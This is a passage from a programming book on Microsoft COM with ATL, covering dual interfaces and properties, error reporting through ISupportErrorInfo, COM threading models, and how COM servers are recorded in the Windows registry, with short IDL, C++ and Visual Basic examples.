For the amount of functionality this adds, it's remarkably
easy. The IDispatchImpl class will handle all the calls to GetID-
Figure 9–2
Specifying the dual attribute
140 Chapter 9 •
Dual Interfaces
sOfNames, Invoke, and the other IDispatch methods. The only
cost of the dual interface is the limitation of using variant com-
patible types.
There is no Proxy/Stub DLL for Dispatch
Interfaces
One of the nice things about IDispatch-based interfaces is that
they have built-in marshaling. The type library is an inherent part
of working with dispatch interfaces, and the type library contains
all the information necessary to transfer data between processes.
This is possible because dispatch interfaces only allow a very
limited subset of data types - those that can be stored in a VARI-
ANT. Standard marshaling knows how to handle all of these
types.
Properties
One of the conventions of the Visual Basic programming model
is to describe objects and controls with properties. The VB
browser presents property tabs for almost every type of control.
Here's a typical property put and get implementation in Visual
Basic. The property name is "LongValue".
Dim lval As Long
testobj.LongValue = lval‘ property put
lval = testobj.LongValue‘ property get
The closest equivalent in the C++ would be the public mem-
ber variables in a class. Although member variables can be used
like properties, it is considered bad Object Oriented form to do
so.
COM interfaces that do not have public data members, just
methods. It wouldn't make sense to expose data members for
remote clients - there is no way for a client to directly manipulate
the data on a server. In-process severs are DLL's, which can
Properties
141
Additonal Information and Updates: http://www.iftech.com/dcom
export data members. COM however, does not allow this - COM
interfaces need to be compatible with both DLL and remote use.
This means our COM objects are going to have to simulate
properties via methods. For oleautomation and dual interfaces,
there are four attributes used to describe properties:
Here's the definition of a property interface in IDL:
[propget, id(1), helpstring("property LongValue")]
HRESULT LongValue([out, retval] long *pVal);
[propput, id(1), helpstring("property LongValue")]
HRESULT LongValue([in] long newVal);
Notice that properties are methods. Both methods have the
same name and the same dispatch ID. MIDL resolves these ambi-
guities using the propget and propput attributes. MIDL will gen-
erate the following function prototypes for this interface.
Attribute
Usage
Propget
A property-get function. Used by IDispatch clients to get a
single value from the COM object. The method must have as
it's last parameter an [out] pointer type. E.G. ([out, retval]
long *pdata)
Propput
The propput attribute specifies a property-set function. Used
by dispatch clients to set a single value of a COM object. The
last parameter of the methods must have the [in] attribute.
E.G. ([in] long data)
Propputref
Similar to a propput method, except the parameter is a refer-
ence with the [in] attribute. E.G. ([in] long *pdata)
Retval
Indicates that the parameter receives a return value for the
method. The parameter must be an out parameter, and be a
pointer. For propget the last parameter must be a retval.
Table 9.3
Property Attributes of Methods
142 Chapter 9 •
Dual Interfaces
STDMETHOD(get_LongValue)(/*[out, retval]*/ long
*pVal);
STDMETHOD(put_LongValue)(/*[in]*/ long newVal);
Notice that it took the member name and appended it to a "get_"
or "put_". The function definitions will be as follows:
STDMETHODIMP CVbTest::get_LongValue(long * pVal)
{
*pVal = m_Long ;
return S_OK;
}
STDMETHODIMP CVbTest::put_LongValue(long newVal)
{
m_Long = newVal;
return S_OK;
}
In this example I'm using the methods to access the class
member variable named m_Long. As COM methods go, these are
pretty simple. There's nothing magic about these property func-
tions. If you were calling them from a C++ client, you would use
the full method name.
// C++ client example
long l;
hr = pI->get_LongVal(&l);
Adding Properties with the Class Wizard
The ATL wizards make adding properties to an interface
extremely easy. If you use the "Add Properties" wizard, it's a no-
brainer. First, the interface must be a dual or oleautomation
derived interface. Next go to the ClassView tab and press the
right mouse button. Choose the "Add Property..." selection.
Adding Properties with the Class Wizard
143
Additonal Information and Updates: http://www.iftech.com/dcom
Figure 9–3
Adding properties
Figure 9–4
Specifying properties
144 Chapter 9 •
Dual Interfaces
The Add Properties dialog will be displayed. This dialog
automatically creates property members for the interface. Note
that we didn't enter any parameters for the property interface.
This property interface has just one parameter, although you are
allowed to have more. If you're going to have more parameters,
pay attention to the rules for the propget and propput
attributes.
Methods
You can call methods in an IDispatch interface just like any other
COM interface. In the previous example we used the Beep()
method. Here's the full example code:
MIDL DEFINITION
[id(7), helpstring("method Beep")]
HRESULT Beep([in] long lDuration);
SERVER CODE
STDMETHODIMP CVbTest::Beep(long lDuration)
{
::Beep( 440, lDuration );// don’t forget the ::
return S_OK;
}
CLIENT USAGE
testobj.Beep (1000) ' Visual Basic client
The ISupportErrorInfo Interface
HRESULTS provide the basis for all COM error handling, but
automation clients are often able to get more detailed informa-
tion through the ERR object. This extended capability is built into
IDispatch, so it makes sense to build it into your server objects.
You can add this functionality to Dispatch and Dual interfaces
The ISupportErrorInfo Interface
145
Additonal Information and Updates: http://www.iftech.com/dcom
(or Custom, for that matter) by checking the SupportErrorInfo
box when you create your ATL object.
What this option does is add several interfaces to your ATL
object. Here’s the header code of an object that supports the
ErrorInfo interface.
class ATL_NO_VTABLE CErrTest :
public CComObjectRootEx,
public CComCoClass<CERRTEST, &CLSID_ErrTest,
public ISupportErrorInfo,
public IDispatchImpl<IERRTEST, &LIBID_OLETESTLib
&IID_IErrTest,
This extended error capability comes through both the ISup-
portErrorInfo interface and the CComCoClass template. The
ISupportErrorInfo interface is added to the supported interfaces
of the coclass through the COM map.
Figure 9–5
Adding error support
146 Chapter 9 •
Dual Interfaces
BEGIN_COM_MAP(CErrTest)
COM_INTERFACE_ENTRY(IErrTest)
COM_INTERFACE_ENTRY(IDispatch)
COM_INTERFACE_ENTRY(ISupportErrorInfo)
END_COM_MAP()
The ATL wizard also adds source code to your CPP module.
ISupportErrorInfo supports a single method called InterfaceSup-
portsErrorInfo. The method provides an array of interfaces that
support extended errors. The first interface is automatically
(IID_IErrTest ) added to this list. If you add multiple interfaces to
your coclass you’ll need to add the IID’s to this static array. Note
that this code was entirely generated by the ATL wizard.
STDMETHODIMP CErrTest::InterfaceSupportsError-
Info(REFIID riid)
{
static const IID* arr[] =
{
&IID_IErrTest
};
for (int i=0; i < sizeof(arr) / sizeof(arr[0]); i++)
{
if (InlineIsEqualGUID(*arr[i],riid))
return S_OK;
}
return S_FALSE;
}
To populate the ErrorInfo object, you can call the Error
method of the CComCoClass template class. This method has a
number of overloads, which allow you to set different types of
error information. Here’s one of the simplest ways to use it.
STDMETHODIMP CErrTest::Div(double d1, double d2, dou-
ble *dresult)
{
HRESULT hr = S_OK;
if (d2 == 0.0)
{
The ISupportErrorInfo Interface
147
Additonal Information and Updates: http://www.iftech.com/dcom
wchar_t str[128] = L"Divide By Zero" ;
Error( str, IID_IErrTest ); // member of CComCo-
Class
hr = E_FAIL;
}
else
*dresult = d1 / d2;
return hr;
}
Here’s the IDL code that defines this method:
[id(1), helpstring("method Div")] HRESULT Div(
[in] double d1,
[in] double d2,
[out,retval] double *dresult);
The automation client can extract this information the usual
way, using the ERR object. Even if your coclass doesn’t imple-
ment ISupportErrorInfo, the VB ERR object does a pretty good
job of filling itself with usable information. Here’s a Visual Basic
sample:
Private Sub DoCalc_Click()
Dim ETObj As Object
Dim v1 As Double, v2 As Double, v3 As Double
Set ETObj = CreateObject("OLETest.ErrTest.1")
v1 = Me.D1
v2 = Me.D2
On Error GoTo ShowProb
v3 = ETObj.Div(v1, v2)
Me.Result = v3
Set ETObj = Nothing
Exit Sub
ShowProb:
148 Chapter 9 •
Dual Interfaces
Dim msg As String
msg = "Description:" + Err.Description + Chr(13)+_
"Source:" + Err.Source + Chr(13) + _
"Number:" + Hex(Err.Number)
MsgBox msg, vbOKOnly, "Server Error"
Set ETObj = Nothing
End Sub
The Visual Basic "ERR" object has a number of useful prop-
erties - these include "Description", "HelpContext", "HelpFile",
"Number", and "Source". All these properties can be set with
Error method.
This error information is getting stored in a structure called
EXCEPINFO. Here’s the layout of this structure from OAIDL.IDL.
You can immediately see the similarities between this and the
"ERR" object.
typedef struct tagEXCEPINFO {
WORD wCode; /* An error code describing
the error. */
WORD wReserved;
BSTR bstrSource; /* A source of the excep-
tion */
BSTR bstrDescription; /* A description of the
error */
BSTR bstrHelpFile; /* Fully qualified drive,
path, and file name */
DWORD dwHelpContext; /* help context of topic
within the help file */
ULONG pvReserved;
ULONG pfnDeferredFillIn;
SCODE scode;
} EXCEPINFO;
Obviously, this structure is getting filled by CComCo-
Class::Error. The information in the structure is passed back
through an interface called IErrorInfo. There’s also an interface
called ICreateErrorInfo that sets the EXECPINFO structure. If
Summary
149
Additonal Information and Updates: http://www.iftech.com/dcom
you’re accessing the coclass through C++, you can use these two
interfaces directly.
All of this error handling comes standard with an IDispatch
interface. The EXECPINFO structure is one of the parameters to
IDispatch::Invoke(). The extended error interfaces provide a
good way to pass detailed information back to a client program.
Summary
Here are a few important points from the discussion above:
• Your components are going to need to communicate with
Visual Basic, Java, Scripting languages, and a whole slew
of other applications. These applications will probably
support IDispatch based OLE interfaces.
• With ATL it's easy to implement IDispatch and dual inter-
faces.
• Dual and IDispatch interfaces can only use data types
allowed in variants.
• The earlier the binding, the faster the interface. Use hard
typing on the client for maximum performance.
• Type libraries provide extensive information to the client
application. IDispatch interfaces can use the type library
to marshal data.
150 Chapter 9 •
Dual Interfaces
T
E
N
10
COM Threading
Models
One of the more esoteric aspects of COM is the naming and
usage of the different threading models. The naming alone is
designed to bewilder: a COM object can be “single threaded”,
“apartment threaded”, “free threaded”, and “both.” Each of these
models deals with a different set of synchronization and thread-
ing issues.
The default "apartment" threading model works quite well
for almost all applications. Apartment threading allows COM
programmers to effectively ignore threading issues in most cases.
There are however, some cases where design and performance
problems conspire to require a more precise level of control. In
this chapter we will explore the different options so that you can
make intelligent threading decisions.
Synchronization and Marshaling
If you've worked with multi-threaded applications before, then
you're well aware of the complexities involved. The difficulty is
synchronization - ensuring that things happen in the correct
order. When COM objects communicate with clients and each
other, they face a variety of synchronization issues. COM objects
152 Chapter 10 •
COM Threading Models
can run in in-process, out-of-process, and remote servers - each
of these has its own unique set of constraints.
COM defines a set of “models” for dealing with threading
issues. By following these models, we can ensure synchronized
communication. By the use of the word “model”, we can assume
that things aren't going to be completely automatic. The proper
implementation of threading, especially free threading, is going
to take some knowledge on the part of the developer.
Marshaling is the process of packaging data and sending it
from one place to another. COM handles all data transfer
through method calls. COM marshaling involves the packaging
of data in parameter lists. Marshaling can take place at many lev-
els. At its simplest level, it can mean the transfer of data between
individual threads. More complex marshaling may involve send-
ing data between different processes, or even across a network.
Marshaling is one of the important factors in synchronization.
Process • An application or program running on the system. A process has its own separate address
space, program code, and (heap) allocated data. A process can contain one or more threads of execution.
Thread • A piece of code that can be run by a single CPU. Each thread has its own stack and program
registers and is managed by the operating system. All threads in an application share the same address
space and global data, as well as other resources. Multiple threads can be run independently of each
other and the operating system schedules their execution. On multi-CPU computers, more than one thread
may be running simultaneously.
Fibers • A type of 'lightweight' thread. Similar to threads except that they have to be manually sched-
uled for execution. Not commonly used. Currently there is no COM analog to fibers.
Thread local storage • In general, threads share memory with the rest of their process. There is a spe-
cial type of memory called thread local storage (TLS), that is only available to the thread that creates it.
TLS is accessed through the TLS API, which includes the functions TlsAlloc, TlsGetValue, TlsSetValue, and
TlsFree
SOME QUICK DEFINITIONS................
Threading Models
153
Additonal Information and Updates: http://www.iftech.com/dcom
Threading Models
COM servers have two general threading models. This includes
Apartment Threaded and Free Threaded objects. To understand
what these threading models mean, let's first look at the way
Windows handles threads.
In the world of Windows programming, we customarily deal
with two types of threads - user interface threads and worker
threads. The distinction between the two deals primarily with
the existence of a message loop.
Worker threads are the simplest type of thread. A worker
thread does not have to handle user input. It starts at the begin-
ning and continues until it's finished processing. A typical
worker thread would be used to compute a value, or to perform
database access, or to do anything that takes a substantial
amount of time to complete.
If worker threads do communicate with other threads, it is
through mutexes, events, semaphores, and other synchronization
or IPC methods. Worker threads are very useful for long compu-
tational tasks which don't need any user interaction. A typical
program would create a worker thread by calling CreateThread.
The worker thread has a main function, called a THREADPROC,
and can have subsidiary functions as well called by the
THREADPROC. The THREADPROC executes as if it were an
independent program. The thread is given a block of data to
work on, and it churns until it's done. When the worker thread is
complete, it usually signals its caller and exits.
By contrast, all interactive Windows programs run as 'user
interface threads'. A user interface thread has the special con-
straint that it must always be responsive to user input. Whenever
the user resizes a window, or clicks the minimize button, the
program must respond. Regardless of what it's doing, it must be
able to redraw itself when it's window is uncovered or moved.
This means that the program must break it's processing up into
small manageable chunks which complete quickly and allow the
program to respond.
User Interface threads have a message loop to process user
and system events. All windows programs are based on the con-
154 Chapter 10 •
COM Threading Models
cept of the message loop. Each window has a user interface
thread that monitors the message queue and processes the mes-
sages it receives. A typical message loop looks like this:
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage( &msg );
DispatchMessage( &msg );
}
Windows uses this method to ensure that a program pro-
cesses its input in a sequential manner. Messages are always pro-
cessed in the order they are received. Each window has only a
single thread, and this thread must handle all user-input events.
When the program receives a message, such as a "Close Win-
dow" (WM_CLOSE) message, it dispatches the message to a spe-
cific function.
The message loop continues until it receives a WM_QUIT
message. Notice that the 'while' statement in the message loop
tests the return value of GetMessage. The WM_QUIT message
causes GetMessage to return FALSE, which exits the loop. After
the message loop is finished, the thread typically shuts itself
down and closes all its windows.
The Windows operating system handles the overall routing
of messages. It handles the hardware generation of events such
as mouse moves, and ensures that each window receives the
appropriate messages.
The big advantage of a User Interface thread is that it breaks
up its processing into a series of compact functions, each of
which handles a specific message. For example, the message
might be WM_CLOSE, and it would be sent to the function called
OnClose(). When the application is finished processing a mes-
sage, it returns to the message loop and responds to the next
message. Because messages are queued up as they arrive, the UI
thread is never processing more than one message at a time.
This is a very safe, but somewhat inefficient, method of process-
ing requests while still remaining responsive to input.
Apartment, Free, and Single Threads
155
Additonal Information and Updates: http://www.iftech.com/dcom
Apartment, Free, and Single Threads
In the COM world we use a different terminology to describe
threads: User Interface threads are called "Apartment" threads.
Worker threads are called "Free" threads. Although not identical
to their Win32 counterparts, there are quite a few similarities.
The third type of thread is a 'single' thread. Single threads are
really just a special type of apartment threads.
Actually, the terminology is somewhat more confusing.
You'll often see apartment threads called 'single threaded apart-
ments', or STAs. The 'free' threaded counterpart is commonly
called a 'multi-threaded apartment', or MTA. While this it may be
Figure 10–1
User Interface thread model
Message Handlers
OnClose()
etc.
GetMessage()
PutMessage()
User Interface (UI) Thread
156 Chapter 10 •
COM Threading Models
technically accurate, I avoid the STA and MTA nomenclature
because it is more confusing. I'll use Apartment, single, and free
threading in my examples.
The term "apartment" is purely conceptual. The apartment is
the environment that the thread "lives in" - it separates the thread
from the rest of a process. In many ways, the threading model is
really a set of rules describing how the thread will behave.
The ATL Wizard and Threading Models
The ATL object wizard makes it extremely easy to define an
object’s threading model. In a Win32 environment, the two
options Single and Apartment behave similarly. Although each
of these options represents real concepts, they don't generate
different code under ATL. The designation is really just a flag for
the COM subsystem. The COM subsystem will use these values
to determine how to marshal calls between threads. This behav-
ior is not reflected anywhere in the source code of the coclass or
server. The Both and Free options are similarly identical.
COM determines threading model in two different ways,
depending on the type of server. For out-of process (EXE) serv-
ers, the threading model is set when you initialize COM. You
specify the model by the call to CoInitialize and CoInitial-
Figure 10–2
ATL Threading Models
The ATL Wizard and Threading Models
157
Additonal Information and Updates: http://www.iftech.com/dcom
izeEx. Let's look at the extended version of the initialization rou-
tine.
HRESULT CoInitializeEx(
void * pvReserved, //Reserved, always 0
DWORD dwCoInit );//COINIT value - threading model
The second parameter specifies the threading model. The
dwCoInit argument is a COINIT enumeration, which is described
in the <objbase.h> header. The COINIT enumeration determines
the threading model. There are several other values of the enu-
meration, but they aren't commonly used.
When you call the default version of CoInitialize(0), it is the
same of specifying COINIT_APARTMENTTHREADED. CoInitial-
ize remains for compatibility reasons, but the extended version
(CoInitializeEx) is the recommended form.
The behavior of a threading model is often determined by
server implementation. A remote (EXE) server behaves differ-
ently from an In-process server (DLL). COM looks at the thread-
ing modes of the client and server, and determines how to
access the object.
In-process servers don't always call CoInitialize() for each
COM object. COM needs a way to determine the threading
requirements of the object. This is accomplished by using a reg-
istry key that describes the COM object. This registry key deter-
mines the threading model of the in-process object.
Under
HKEY_CLASSES_ROOT\CLSID,
each
in-process
server can have a key named InprocServer32. Under this key
COINIT enumeration
Value
Description
COINIT_APARTMENTTHREADED
2
Initializes the thread for apart-
ment-threaded object concur-
rency.
COINIT_MULTITHREADED
0
Initializes the thread for multi-
threaded object concurrency.
Table 10.1
COINIT enumerations used by CoInitializeEx
158 Chapter 10 •
COM Threading Models
there is a named valued called "ThreadingModel". The threading
model can be "Single", "Apartment", "Free", or "Both".
Apartment Threads
In any threading diagram, an “apartment” is the box around the
message loop and the COM object’s methods. The apartment is a
logical entity that does not map directly to either threads or
memory. The apartment defines the context of the executing
COM object and how it handles multi-threading issues.
An apartment thread has a message loop and a hidden win-
dow. Whenever COM needs to communicate with an apartment
threaded object, it posts a message to the object’s hidden win-
dow. The message gets placed in the object’s message queue.
This is done with PostThreadMessage().
The message queue ensures that all COM requests are pro-
cessed sequentially. This means that if you are programming an
apartment threaded server, you don't have to worry about
threading issues. Each method call waits until the previous call is
100% completed with its processing. The COM subsystem auto-
matically takes care of posting messages in the correct thread.
Regardless of what thread a client uses to access an apart-
ment threaded object, the processing will be done on a single
designated thread. This is true even if the client and server are
running in the same process (as in an In-Process server).
When you create the server, you specify "Threading Model:
Apartment" in the ATL Object Wizard. The apartment threaded
object is implemented through the ATL template class <CCom-
SingleThreadModel>. Here is the header generated by the ATL
object wizard.
class ATL_NO_VTABLE CMyObject :
public CComObjectRootEx<CComSingleThreadModel>,
public CComCoClass<CMyObject, &CLSID_MyObject>,
public IDispatchImpl<IMyObject, &IID_IMyObject,
&LIBID_MYLib>
...
Single Threads
159
Additonal Information and Updates: http://www.iftech.com/dcom
COM does all the work of setting up the object and its apart-
ment and message loop. You can then write your COM object’s
code without worrying about thread safety. A COM server can
have multiple apartment threaded objects running simulta-
neously. The limitation is that each object is always accessed
through the same apartment thread. Always. If the server creates
a new object, it creates a new apartment for that individual
object.
Single Threads
Single threaded servers have a specialized type of apartment
model. A single threaded server has only a single apartment
thread. That means that all COM objects are processed by the
Figure 10–3
An Appartment Threaded COM Object
COM Object
methods
GetMessage()
PutMessage()
Connection
s
COM Apartment
CoInitialize(0)
CoUninitialize()
160 Chapter 10 •
COM Threading Models
same thread. When the server creates a new COM object, it re-
uses the one-and-only apartment thread to execute methods on
that object. You can imagine the traffic jam this will cause on a
busy server. Back in the early days of COM and OLE, this was
the only model available.
Free Threaded Servers
Free threaded (or Multi-Threaded Apartment) servers in some
cases offer advantages over Apartment threaded servers. Because
they are not thread-safe, they can be much more complicated to
code.
A free threaded server is similar to a worker thread. It has
no message loop, and does nothing to ensure thread safety. We
say the COM object has an 'Apartment', but in this case, the
apartment does nothing to limit thread access.
When the client application makes a call to the object in a
free thread, COM processes that request on the thread that called
it. Remember that COM calls are often made through a Proxy/
Stub. On the server side, the COM call arrives on the Stub's
thread, and it will be processed on the same thread. If two cli-
ents call the same free threaded object, both threads will access
the object at the same time. The potential for data corruption, or
even server crashes, is very real if you do not manage synchroni-
zation properly. However, the problems encountered in a free
threaded COM server are no different from those found in any
multi-threaded application.
ATL implements a free threaded object with the ATL tem-
plate class <CComMultiThreadModel>.
class ATL_NO_VTABLE CMyObject :
public CComObjectRootEx<CComMultiThreadModel>,
public CComCoClass<CMyObject, &CLSID_MyObject>,
public IDispatchImpl<IMyObject, &IID_IMyObject,
&LIBID_MYLib>
Both
161
Additonal Information and Updates: http://www.iftech.com/dcom
Both
A value of 'both' for in-process servers means the object can be
loaded in both free and apartment threads. This option is stored
in the registry under CLSID/InprocServer32 as Threading-
Model="Both".
This object is free-threaded, and must handle all the thread-
safety issues of a free threaded model. By marking itself Thread-
ingModel=Both, the object can be loaded directly into an in-pro-
cess apartment thread without the overhead of creating a proxy
object.
Normally, when an apartment thread loads a free threaded
object, it automatically creates a proxy to marshal the object’s
interface. The "Both" model allows the loading apartment some-
what faster access without this proxy.
Figure 10–4
Free Threaded Server
COM Object
methods
MTA Object
Thread
1
Thread
2
CoInitialize()
CoUninitialize()
162 Chapter 10 •
COM Threading Models
Marshaling Between Threads
Now that you understand the three COM threading models, you
need to know more about marshaling. The two topics are closely
tied together. As you recall, marshaling is the process of making
calls and copying data between COM clients and servers. The
whole concept of an apartment is based on not only the execu-
tion and synchronization of COM objects, but on the marshaling
of data between clients, servers, and threads.
One of the features of MIDL is that it automatically builds all
the marshaling code for an object and its client. This marshaling
code is doing some complex things to ensure that data and
method calls are working properly. COM's marshaling methods
need to take into account many factors, especially threading
models.
The other factor that we've discussed is synchronization. All
calls in an apartment threaded environment are synchronized.
Calls in a free threaded environment aren't. Here are some rules
that describe how COM will behave when communicating
between threads.
COM Access
Synchronization
Marshaling
To the same thread.
None required.
None required. All calls are
made directly. Pointers can be
passed.
Any thread to an
Apartment thread.
All calls automatically
synchronized through a
message loop.
COM marshals all calls into an
apartment thread. (This is
done by posting messages.)
Any free thread to a
free thread.
Not synchronized. The
programmer ensures
synchronized access.
No marshaling within the
same process. Between pro-
cesses, all calls are marshaled.
Apartment to Free
Not synchronized.
Marshaled.
Table 10.2
COM communication between threads
Using Apartment Threads
163
Additonal Information and Updates: http://www.iftech.com/dcom
Using Apartment Threads
Apartment threads are by far the easiest type to work with. You
can effectively ignore all the complexities of multi-threaded
access to your COM object. The message queue ensures that
methods are called serially. For most applications, the perfor-
mance is quite good. In fact, you'll probably not get any advan-
tage from free threading.
Commonly, the client thread creates a single object that it
always accesses. In other words, there is a one-to-one corre-
spondence between client thread and server thread. In this case,
there is never a wait for access to the object. In this case, there
would be no advantage to free threading.
There are some disadvantages to apartment threads. The
foremost of these is that your COM object will be unresponsive
when it is executing a method. If you have multiple clients or
multiple client threads accessing the same object, they will have
to wait for each other. If your object has lengthy processing to
perform, performance will suffer. This is not as common as you
might think.
You'll only have performance problems when multiple cli-
ents are accessing the exact same object. This is rare because
most clients will create their own instance of the object. Multiple
instances of the object run in separate apartments, and therefore
work independently of one another. Singleton objects are one
case where a single object is accessed by multiple threads - in
singleton objects apartment threading might be problematic.
Another disadvantage is that apartment threaded objects
can't utilize multiple CPU's. Admittedly, this is very rarely a sig-
nificant performance concern. If you have a singleton class,
you're going to have to look carefully at performance issues. Sin-
gleton objects share many of the performance concerns of single
threaded objects.
Performance for single threaded servers can be a problem.
Even if a server has multiple objects, they all run from the same
message loop. That means all processing is going through the
same pipe, which will cause performance bottlenecks.
164 Chapter 10 •
COM Threading Models
Free Threading Model
Free threading is not a panacea for performance problems. It has
a lot of disadvantages, and in many cases little benefit. However,
for some specific cases it can be very powerful.
Programming free threaded objects is complex. You have to
assume that your object is going to be accessed simultaneously
by random threads. That means that all member variables are
wide open to be changed at any time. Stack based local variables
are specific to the calling thread, and will be safe. There are two
ways to handle this problem: explicitly write code to serialize
access to data (using standard synchronization techniques such
as mutexes), or ensure that the object is stateless.
“Stateful” and “stateless” refers to how an object stores data.
An object is stateful if it retains information between method
calls. Using global, static or even member variables may make
your object stateful. Stateful objects are a problem because mul-
tiple threads can change their data unexpectedly, causing erratic
and failure-prone behavior.
A stateless object doesn't retain information, and isn't prone
to being unexpectedly changed. Here's an example of a stateless
method call in a COM object.
STDMETHODIMP CBeepObj::Beep(LONG lDuration)
{
::Beep( 550, lDuration );
return S_OK;
}
The only data used by this method is a local stack variable
(lDuration). There's not really much that could go wrong here.
This method would work safely in any threading environment.
If you write an object that needs to retain globally accessible
data, it will have to use the Win32 synchronization methods to
protect the data. If you've done much of this you'll realize what a
truly exacting task it can be.
If you're willing to spend the design and programming time
to ensure thread safety, you can get some performance advan-
Testing the Different Models
165
Additonal Information and Updates: http://www.iftech.com/dcom
tages. Each free threaded method call executes as soon as it gets
CPU time. It doesn't have to wait for other objects to complete.
COM maintains (through RPC) a pool of threads that are ready to
service any incoming calls.
There is very little marshaling overhead on free threaded
objects. For in-process severs, there is no need for a proxy and
stub between the object and its client. (Out-of-process servers
will almost always require marshaling.) Data can be safely trans-
ferred between in-process free threads without any serialization
overhead. Because free threaded objects don't have a message
pump, there is no need for a busy message loop to rob CPU
cycles. Data doesn't need to be placed on, and removed from,
the message queue.
Perhaps the biggest gotcha about free threads is marshaling.
Even if you create a free threaded server object, it may incur sig-
nificant marshaling overhead. COM is very conservative about
how it marshals data. If the client is apartment threaded, and if
the server is free threaded, COM will marshal all access to the
object. This marshaling will impact the performance of the
object.
Testing the Different Models
You can easily experiment with and understand the three thread-
ing models using the beep server presented at the beginning of
the book. Create three versions of the server with the Wizard,
one with single threads, one with apartment threads and one
with free threads. Modify the server so that it beeps for 10 or 15
seconds (or beeps and then sleeps for 10 seconds). Now run
multiple clients in separate windows and watch what happens.
In the single threaded case, all of the beep requests from all
of the separate clients will be serialized. You will hear each beep
for the 10 second duration, followed by the next beep. In the
free threaded case you will find that beeps can occur simulta-
neously because they are being created by multiple threads. If
you multi-thread the client so it can simultaneously make multi-
166 Chapter 10 •
COM Threading Models
ple calls to Beep, you will be able to see the difference between
apartment and single threaded objects.
Summary
COM has four threading models: single, apartment, free, and
both. Single threads are a subset of apartment threads. Apart-
ment threads offer good performance for most applications
while eliminating most thread synchronization concerns. The
apartment model synchronizes access to the COM object, and
Marshals data to and from it.
Free threaded objects don't have any synchronization mech-
anism - the programmer has to ensure thread safety. If you've
done much multi-threaded programming, you know how com-
plex and difficult to debug it can be. Writing thread-safe code
isn't an easy task.
If you're working with the Single or Apartment model, you
don't have to worry about thread safety, but your application
may take a performance hit. Free threaded servers are potentially
more efficient because they can take advantage of the multi-
threading and multi-CPU architecture of windows.
E
L
E
V
E
N
11
The COM Registry
This chapter describes how the registry is used to store informa-
tion about COM servers.
One of the important features of COM is that it allows a cli-
ent program to use a component without locating, starting, and
manually connecting to a server. This greatly simplifies the client
program. However, this does mean the information required for
server activation must be stored somewhere. On Windows, this
type of configuration data is stored in the Registry.
The Registry is a single, well-organized location that stores
all system, application, and user configuration information. Nor-
mally the user does not manipulate the registry directly, although
that is possible using the Registry Editor.
In one sense, COM applications aren’t really stand-alone
programs. In order to run a COM application, a complex interac-
tion between the operating system and the application takes
place. The Service Control Manager (SCM) does the work of
locating, starting, and shutting down COM servers. In one sense,
the server is just part of a complex interaction between the cli-
ent, Windows, and the COM components. For a COM server to
operate it must have registered itself and its capabilities with
Windows.
168 Chapter 11 •
The COM Registry
COM stores three types of information in the registry:
• Human readable information about COM classes
• The mapping of CLSIDs to their servers
• Information about server capabilities
Another name for the registry is the “Class Store”. On Win-
dows 95 and NT 4.0, the Class Store is synonymous with the
Registry. In future versions, the Class Store will evolve into a
centralized storage location for COM information.
There are several ways in which COM information is written
to the Registry. Most commonly, COM servers have the ability to
store this registration information themselves - also known as
self-registration. This capability fits in very nicely with the com-
ponent model because it allows objects to be responsible for
their own configuration. The alternative would be to include an
external registration component for each object (such as an REG
script).
Self-registration can be implemented in both remote and In-
process servers. There are several ways to implement this capa-
bility. We’ll take a closer look at how ATL servers handle registra-
tion. We will also be taking a look at the registry structures that
hold COM information.
The COM Registry Structure
The registry is organized in a tree structure. The top level of the
tree consists of a number of “Hives” or HKEY’s. Exactly which
hives you have depends on the operating system. The two hives
that are of interest to COM are HKEY_LOCAL_MACHINE and
HKEY_CLASSES_ROOT. You’ll find these two keys on both Win-
dows 95 and NT.
The key HKEY_CLASSES_ROOT is where all COM’s registry
information is kept. Actually, if you look carefully, you’ll find
that
HKEY_CLASSES_ROOT
is
a
subdirectory
under
HKEY_LOCAL_MACHINE. The HKEY_CLASSES_ROOT key is
just a shortcut.
The COM Registry Structure
169
Additonal Information and Updates: http://www.iftech.com/dcom
There are numerous keys and branches under the
HKEY_CLASSES_ROOT branch, but only a few basic types.
These keys are mappings used to locate servers, classes, and
server information. Here’s the tree structure:
Figure 11–1
The registry is arranged in a series of “hives”. The two hives
important to a COM programmer are
HKEY_LOCAL_MACHINE and HKEY_CLASSES_ROOT
Figure 11–2
HKEY_CLASSES_ROOT is simply an alias for the Classes
key found in HKEY_LOCAL_MACHINE/Software.
-
My
Computer
HKEY_LOCAL_MACHINE
+
+
+
HKEY_CLASSES_ROOT
other
keys...
-
HKEY_LOCAL_MACHINE
+
-
Classes
SOFTWARE
170 Chapter 11 •
The COM Registry
Each of these keys stores a specific type of information.
The most significant of these types is the CLSID, which is a
COM class identifier.
Figure 11–3
Standard keys in HKEY_CLASSES_ROOT
KEY
Description
AppID
Application ID. Each AppID represents a COM server, which
supports a grouping of one or more COM classes.
CLSID
Class ID. The ID of a COM class. The CLSID key is used to
map a class to its server. Each entry under this key will be a
GUID describing a COM object and it’s server.
Interfaces
Information about the interface Proxy/Stub.
ProgID
Program ID. Used to map a readable class name to its CLSID.
There are numerous ProgID’s under HKCR.
Typelib
Type library information.
Table 11.1
Standard keys in HKEY_CLASSES_ROOT
-
HKEY_CLASSES_ROOT
+
+
AppId
CLSID
+
Typelib
+
ProgID 0..n
+
Interfaces
Registration of CLSIDs
171
Additonal Information and Updates: http://www.iftech.com/dcom
Registration of CLSIDs
Class information is stored in the HKEY_CLASSES_ROOT/CLSID
key. This branch of the registry has a separate entry for the
GUID of each registered COM class in the system. A registry key
will be set up for each GUID - surrounded by curly braces. For
example, the BaseTypes class has a key of {FF23CF23-89D5-
11D1-8149-000000000000}.
When COM needs to connect to the server, it uses the GUID
of the Class ID to find server information. CLSID is the only
required key for a COM component. At a bare minimum, all
COM components should have a valid entry under this registry
key.
The CLSID key may have several sub-keys and data entries
under it. The exact set of registry entries depends on the specif-
ics of the COM class. In the example above, BaseTypes has a
remote (EXE) COM server. This dictates that it has a key called
LocalServer32, which points to the name of the executable pro-
gram.
Following is a table of common values found under the
CLSID branch:
Figure 11–4
The CLSID registry entry for a typical COM server
-
CLSI
D
+
{00000303-0000-0000-C000-000000000036} = FileMoniker
+
+
+
LocalServer32 = C:\MyDir\MyServer.exe
ProgID = BaseTypes.BaseTypes.1
Other CLSID keys...
+
{FF23CF23-89D5-11D1-8149-000000000000} = StringTypes Cla
{FF23CF20-89D5-11D1-8149-000000000000} = BaseTypes Clas
-
VersionIndependentProgID = BaseTypes.BaseTypes
AppID = {FF23CF13-89D5-11D1-8149-000000000000}
+
172 Chapter 11 •
The COM Registry
This is by no means an exhaustive list of values. You will
